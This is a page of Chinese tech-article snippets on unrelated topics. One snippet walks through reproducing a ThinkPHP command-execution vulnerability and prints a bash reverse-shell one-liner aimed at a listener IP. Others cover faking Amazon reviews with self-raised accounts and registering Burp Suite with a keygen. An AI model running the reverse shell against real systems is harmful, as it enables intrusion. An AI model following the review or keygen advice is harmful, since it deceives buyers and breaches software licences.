如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

量化(Quantization)技术在实现边缘设备智能化中的关键作用

节选自论文《Edge AI: Quantization as the Key to On-Device Smartness》的第三节&#xff0c;由YN Dwith Chenna撰写&#xff0c;发表在2023年8月的《International Journal of Artificial Intelligence & Applications》上。论文主要探讨了边缘人工智能&#xff08;Edge…

thinkphp之命令执行漏洞复现

实战&#xff1a; fofa搜索thinkphp-- 第一步&#xff1a;先在dns平台上&#xff0c;点击Get SubDomain &#xff0c;监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …

【速解焦虑秘籍】5步助你轻松走出焦虑迷雾,拥抱自在生活!

在这个快节奏、高压力的时代&#xff0c;焦虑仿佛成了许多人难以摆脱的“隐形伴侣”。它悄无声息地侵入我们的生活&#xff0c;影响着我们的情绪、工作乃至人际关系。但别担心&#xff0c;今天就带你揭秘“走出焦虑症最快的方法”&#xff0c;通过以下五个实用步骤&#xff0c;…

地理科学专业| 中国大学排行榜(2024年)

地理科学专业| 中国大学排行榜&#xff08;2024年&#xff09; 原文链接

拓扑未来数据中台解决方案

概述 传统自动化控制往往聚焦于局部或模块&#xff0c;整体运作状态靠人工管理。缺乏从时间维度观察生产周期的手段&#xff0c;由于生产数据缺失&#xff0c;导致生产过程不透明&#xff0c;过程质量无记录&#xff0c;生产工艺难优化&#xff0c;生产效率难以提升。利用先进…

亚马逊F控期间,如何巧妙运用自养账号进行评价?

亚马逊每年都会经历一段风险控制周期&#xff0c;这一时期往往伴随着商品评价的删除和卖家账户的封禁&#xff0c;对此&#xff0c;经验丰富的卖家们已经习以为常。虽然表面上看是风险控制&#xff0c;但实际上亚马逊只是对消费者的购买行为进行记录。导致账户被封和评论被删除…

【Python】数据类型之详讲字符串(下)

本篇文章继续讲解字符串的功能&#xff1a; &#xff08;7&#xff09;字符串内容替换&#xff0c;得到一个新的字符串&#xff0c;原字符串不变。 功能&#xff1a;replace(str1,str2) str1和str2都是字符串&#xff0c;该功能是将字符串中的str1内容替换成str2. 代码举例&…

大模型与高能物理

人工智能大模型是什么&#xff1f;它和我们通常讲的机器学习、深度学习有什么关系&#xff1f;它有什么能力&#xff1f;它在高能物理可能有哪些方面的应用&#xff1f;今天我们浅浅讨论一下这些问题。 一 溯源&#xff1a;从人工智能到机器学习、深度学习和大模型 1 曲折发…

【KAN】【API教程】plot

初始化KAN和创建数据集 from kan import * # create a KAN: 2D inputs, 1D output, and 5 hidden neurons. cubic spline (k=3), 5 grid intervals (grid=5). model = KAN(width=[2,5,1], grid=3, k=3, seed=1)# create dataset f(x,y) = exp(sin(pi*x)+y^2) f = lambda x: to…

MacOS上如何优雅的使用Burp Suite Professional

MacOS上如何注册使用Burp Suite Professional 文章目录 MacOS上如何注册使用Burp Suite Professional一.如何下载二.安装BurpSuite三.注册四.启动五.创建可执行文件六.写在最后 一.如何下载 JDK官网下载 BurpSuite专业版官网下载 [注册机下载]( https://pan.baidu.com/s/10…

Google引领LLM竞赛:Gemini 1.5 Pro的创新与突破

在科技领域&#xff0c;语言模型&#xff08;LLM, Large Language Model&#xff09;的发展总是备受瞩目。多年来&#xff0c;Google在这场竞赛中一直处于追赶的状态&#xff0c;但这一次&#xff0c;他们终于站在了领先的位置。Google近日发布了Gemini 1.5 Pro实验版本&#x…

OpenAI API continuing conversation in a dialogue

题意&#xff1a;在对话中继续使用OpenAI API进行对话 问题背景&#xff1a; I am playing around with the openAI API and I am trying to continue a conversation. For example: 我正在尝试使用OpenAI API&#xff0c;并试图继续一段对话。例如&#xff1a; import open…

<数据集>航拍车辆识别数据集<目标检测>

数据集格式&#xff1a;VOCYOLO格式 图片数量&#xff1a;6787张 标注数量(xml文件个数)&#xff1a;6787 标注数量(txt文件个数)&#xff1a;6787 标注类别数&#xff1a;3 标注类别名称&#xff1a;[Car, Truck, Bus] 序号类别名称图片数框数1Car6494791332Truck250576…

【从零开始一步步学习VSOA开发】快速体验SylixOS

快速体验SylixOS 安装完毕RealEvo-IDE 后&#xff0c;同时也安装了RealEvo-Simulator。RealEvo-Simulator 是一个虚拟运行环境&#xff0c;可以模拟各种体系结构并在其上运行 SylixOS。相比于物理板卡&#xff0c;在 RealEvo-Simulator 进行运行调测更加的方便快捷且成本低廉。…

2024年中国数据中台行业研究报告

数据中台丨研究报告 核心摘要&#xff1a; 数据中台是企业数字化建设的重要构成&#xff0c;其通过整合企业基础设施和数据能力&#xff0c;实现数据资产化和服务复用&#xff0c;降低运营成本&#xff0c;支撑业务创新。受宏观经济影响&#xff0c;部分企业减少了对数据中台等…

java中InputStream, OutputStream 的用法

java针对文件的操作有两种1.文件系统操作 File类指定的路径可以使一个不存在的路径。2&#xff0c;文件内容操作&#xff0c;流对象。 流也分为两种1)字节流&#xff08;二进制文件&#xff09;&#xff1a;以字节为基本单位读写的使用InputStream&#xff08;&#xff09;和Ou…

什么是kafka的重平衡机制?

背景 kafka重平衡的主要发生在消费者端&#xff0c;重平衡的目的&#xff0c;主要是为了均衡消费者消费kafka的消息而设计的&#xff0c;对于动态加入消费者&#xff0c;减少消费者&#xff0c;以及消息分区变化这些场景中&#xff0c;若不设计消费者重平衡&#xff0c;容易出…

第十五章 数据管理成熟度评估

定义&#xff1a; 能力成熟度评估: 是是一种基于能力成熟度模型框架的能力提升方案&#xff0c;描述了数据管理能力初始状态发展到最优化的过程。 数据管理成熟度评估&#xff1a;&#xff08;Data Management Maturity Assessment&#xff0c; DMMA&#xff09;可用于全面评估…

MySQL——数据表的基本操作(一)创建数据表

数据库创建成功后,就需要创建数据表。所谓创建数据表指的是在已存在的数据库中建立新表。需要注意的是&#xff0c;在操作数据表之前&#xff0c;应该使用 “ USE 数据库名 ” 指定操作是在哪个数据库中进行&#xff0c;否则会抛出 “ No database selected ” 错误。创建数据表…